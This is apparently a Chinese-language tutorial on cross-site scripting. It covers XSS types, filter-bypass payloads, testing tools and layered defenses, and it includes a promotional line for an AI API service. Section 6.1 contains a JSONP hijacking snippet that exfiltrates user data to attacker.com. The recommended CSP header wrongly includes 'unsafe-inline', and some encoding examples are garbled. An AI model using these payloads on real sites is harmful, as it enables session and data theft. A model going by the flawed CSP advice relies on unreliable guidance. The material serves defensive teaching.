燕家猫1. XSS漏洞基础认知
第一次接触XSS漏洞是在审计某企业门户网站时，发现搜索框输入<script>alert(1)</script>竟然弹出了提示框。这种看似简单的攻击方式，实则危害巨大——攻击者能窃取用户cookie、劫持会话，甚至传播蠕虫病毒。XSS（跨站脚本攻击）的本质是恶意脚本被注入到可信网站中，当其他用户访问时自动执行。
从技术实现看，XSS主要分为三类：
- 反射型XSS：恶意脚本作为请求参数直接嵌入URL，服务器未过滤就返回给浏览器。常见于搜索框、错误提示页等场景，需要诱导用户点击特定链接才能触发。
- 存储型XSS：攻击脚本被永久存储在服务器（如评论区、用户资料），所有访问者都会被动执行。2015年某社交平台就因未过滤用户昵称导致大规模Cookie窃取事件。
- DOM型XSS：完全在客户端发生的攻击，不经过服务器。通过修改DOM环境（如location.hash、document.write）执行恶意代码。某知名电商曾因
eval(location.hash.substr(1))这种危险写法导致数万用户信息泄露。
关键区别：反射/存储型需要服务器参与，而DOM型仅依赖前端代码缺陷。实际渗透测试中，DOM型更难通过传统WAF防御。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞原理深度解析
2.1 攻击载荷构造技巧
基础payload如<script>alert(document.cookie)</script>已逐渐被现代浏览器拦截。实战中更倾向于使用事件处理器：
html复制<img src=x onerror=alert(1)> <!-- 图片加载失败时触发 -->
<svg onload=alert(1)> <!-- SVG矢量图标签 -->
<a href=javascript:alert(1)> <!-- 伪协议执行JS -->
对于严格过滤尖括号的场景，可采用Unicode编码或模板字符串：
javascript复制\u003cscript\u003ealert(1)\u003c/script\u003e
${alert(1)} // 在模板字符串中生效
2.2 漏洞触发条件分析
必须同时满足三个条件：
- 注入点存在：用户输入被直接拼接到HTML/JS中
- 过滤不完善：未正确处理
<>'"&等特殊字符 - 执行上下文：输入出现在
<script>、HTML属性、URL等可执行区域
以某CMS系统的评论功能为例：
php复制// 错误做法：直接输出用户输入
echo "<div class='comment'>".$_POST['content']."</div>";
// 正确做法：使用htmlspecialchars转义
echo "<div class='comment'>".htmlspecialchars($_POST['content'], ENT_QUOTES)."</div>";
3. 漏洞挖掘实战指南
3.1 手工测试流程
- 确定输入点：表单、URL参数、Headers（如User-Agent）、本地存储
- 试探过滤规则：
- 输入
<h1>test</h1>检查是否渲染为HTML - 输入
'";<>观察是否被转义或过滤
- 输入
- 构造突破Payload：
- 若
<script>被过滤，尝试<img src=1 onerror=alert(1)> - 若属性值被转义，尝试
javascript:alert(1)
- 若
- 验证攻击效果：检查是否弹出对话框或执行任意JS
3.2 自动化工具辅助
- Burp Suite：通过Intruder模块批量测试特殊字符
- XSStrike：智能绕过WAF的专用工具，支持编码混淆
- DOM Invader（浏览器插件）：可视化检测DOM型漏洞
渗透测试时建议先使用自动化工具扫描，再针对可疑点手工深入验证。某次审计中发现，系统虽然过滤了
<script>但允许<svg/onload=>这种自闭合标签。
4. 防御方案全景实施
4.1 前端防护措施
- 内容安全策略（CSP）：通过HTTP头限制脚本来源
http复制Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' - 输入输出编码：
- HTML实体编码：
<→< - JavaScript编码：
"→\x22 - URL编码：
%20
- HTML实体编码：
4.2 后端防护策略
- 白名单过滤：仅允许特定HTML标签（如
<b><i>）python复制# 使用bleach库进行过滤 import bleach cleaned = bleach.clean(user_input, tags=['b', 'i']) - 上下文感知转义：
- HTML正文：转义
<>&"' - HTML属性：额外转义空格和等号
- JavaScript字符串：使用
\xHH编码
- HTML正文：转义
4.3 框架级解决方案
- React/Vue：默认自动转义插值表达式
- Spring Boot：配合Thymeleaf模板引擎的
th:text - Django：模板系统的
{{ variable|escape }}
某金融系统升级后仍出现XSS，最终发现是第三方图表库直接用innerHTML渲染数据。这说明防御需要覆盖所有依赖库。
5. 企业级防护体系搭建
5.1 SDLC集成方案
- 需求阶段：明确各接口的安全等级
- 设计阶段：制定编码规范（如必须使用参数化渲染）
- 开发阶段：ESLint规则禁止
dangerouslySetInnerHTML - 测试阶段：SAST/DAST工具扫描（如Checkmarx、ZAP）
- 运维阶段：WAF配置XSS防护规则（如Cloudflare）
5.2 监控与应急响应
- 日志分析：监控异常输入（如大量
<script>出现） - 蜜罐诱捕：故意留未过滤的评论框吸引攻击者
- 漏洞赏金：通过HackerOne等平台众测
在某次攻防演练中，防守方通过分析WAF日志发现攻击者尝试了247种XSS变体，及时修补了未覆盖的SVG事件处理器漏洞。
6. 新型攻击变种防御
6.1 JSONP劫持
当API支持JSONP回调时，可能被利用窃取数据：
html复制<script src="https://api.example.com/userinfo?callback=stealData"></script>
<script>
function stealData(data) {
fetch('https://attacker.com/log?data='+JSON.stringify(data));
}
</script>
解决方案：禁用JSONP或严格校验Referer头
6.2 PDF XSS攻击
PDF文件可嵌入JavaScript，在浏览器预览时执行：
javascript复制var doc = app.newDoc();
doc.addJS('app.alert("XSS")');
防护建议：服务端转换PDF为图片再展示
去年某OA系统就因未处理用户上传的PDF导致内网渗透。实际防御需要多层次配合：前端过滤、服务端检测、终端沙箱隔离。